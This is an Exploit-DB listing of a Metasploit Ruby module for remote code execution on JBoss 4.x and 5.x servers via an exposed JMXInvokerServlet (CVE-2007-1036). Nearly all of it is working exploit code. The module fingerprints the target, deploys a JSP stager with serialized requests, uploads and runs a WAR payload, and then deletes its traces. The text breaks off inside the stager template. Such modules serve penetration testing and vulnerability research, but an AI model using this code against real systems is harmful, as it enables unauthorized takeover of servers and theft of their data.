Exploit-DB #21080
Description: JBoss - DeploymentFileRepository WAR Deployment (via JMXInvokerServlet) (Metasploit)
Type: remote
Platform: multiple
Date: 2012-09-05
Author: Metasploit

Exploit:
require 'msf/core'


class Metasploit4 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /JBoss/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
			'Description' => %q{
					This module can be used to execute a payload on JBoss servers that have an
				exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
				the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
				to finally upload the selected payload to the target. The DeploymentFileRepository
				methods are only available on Jboss 4.x and 5.x.
			},
			'Author'      => [
				'Patrick Hof', # Vulnerability discovery, analysis and PoC
				'Jens Liebchen', # Vulnerability discovery, analysis and PoC
				'h0ng10' # Metasploit module
			],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2007-1036' ],
					[ 'OSVDB', '33744' ],
					[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
				],
			'DisclosureDate' => 'Feb 20 2007',
			'Privileged'  => true,
			'Platform'    => ['java', 'win', 'linux' ],
			'Stance'      => Msf::Exploit::Stance::Aggressive,
			'Targets'     =>
				[

					# do target detection but java meter by default
					[ 'Automatic',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						}
					],

					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
						},
					],

					#
					# Platform specific targets
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],

					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],
				],

			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(8080),
					OptString.new('JSP',       [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
					OptString.new('APPBASE',   [ false, 'Application base name, (default: random)', nil ]),
					OptString.new('TARGETURI', [ true,  'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
				], self.class)

	end

	def check
		res = send_serialized_request('version.bin')
		if (res.nil?) or (res.code != 200)
			print_error("Unable to request version, returned http code is: #{res.code.to_s}")
			return Exploit::CheckCode::Unknown
		end

		# Check if the version is supported by this exploit
		return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/
		return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/
		return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/

		if res.body =~ /ServletException/	# Simple check, if we caused an exception.
			print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
			return Exploit::CheckCode::Appears
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		mytarget = target

		if (target.name =~ /Automatic/)
			mytarget = auto_target
			fail_with("Unable to automatically select a target") if not mytarget
			print_status("Automatically selected target: \"#{mytarget.name}\"")
		else
			print_status("Using manually select target: \"#{mytarget.name}\"")
		end


		# We use a already serialized stager to deploy the final payload
		regex_stager_app_base = rand_text_alpha(14)
		regex_stager_jsp_name = rand_text_alpha(14)
		name_parameter = rand_text_alpha(8)
		content_parameter = rand_text_alpha(8)
		stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
		stager_code = "A" * 810		# 810 is the size of the stager in the serialized request

		replace_values = {
			'regex_app_base' => regex_stager_app_base,
			'regex_jsp_name' => regex_stager_jsp_name,
			stager_code => generate_stager(name_parameter, content_parameter)
		}

		print_status("Deploying stager")
		send_serialized_request('installstager.bin', replace_values)
		print_status("Calling stager: #{stager_uri}")
		call_uri_mtimes(stager_uri, 5, 'GET')

		# Generate the WAR with the payload which will be uploaded through the stager
		app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
		jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))

		war_data = payload.encoded_war({
			:app_name => app_base,
			:jsp_name => jsp_name,
			:arch => mytarget.arch,
			:platform => mytarget.platform
		}).to_s

		b64_war = Rex::Text.encode_base64(war_data)
		print_status("Uploading payload through stager")
		res = send_request_cgi({
			'uri'     => stager_uri,
			'method'  => "POST",
			'vars_post' =>
			{
				name_parameter => app_base,
				content_parameter => b64_war
			}
		}, 20)

		payload_uri = "/#{app_base}/#{jsp_name}.jsp"
		print_status("Calling payload: " + payload_uri)
		res = call_uri_mtimes(payload_uri,5, 'GET')

		# Remove the payload through  stager
		print_status("Removing payload through stager")
		delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
		res = send_request_cgi(
			{'uri'     => delete_payload_uri,
		})

		# Remove the stager
		print_status("Removing stager")
		send_serialized_request('removestagerfile.bin', replace_values)
		send_serialized_request('removestagerdirectory.bin', replace_values)

		handler
	end

	def generate_stager(name_param, content_param)
		war_file = rand_text_alpha(4+rand(4))
		file_content = rand_text_alpha(4+rand(4))
		jboss_home = rand_text_alpha(4+rand(4))
		decoded_content = rand_text_alpha(4+rand(4))
		path = rand_text_alpha(4+rand(4))
		fos = rand_text_alpha(4+rand(4))
		name = rand_text_alpha(4+rand(4))
		file = rand_text_alpha(4+rand(4))

		stager_script = <<-EOT
<%@page import="java.io.*,
		java.util.*,
		sun.misc.BASE64Decoder"
%>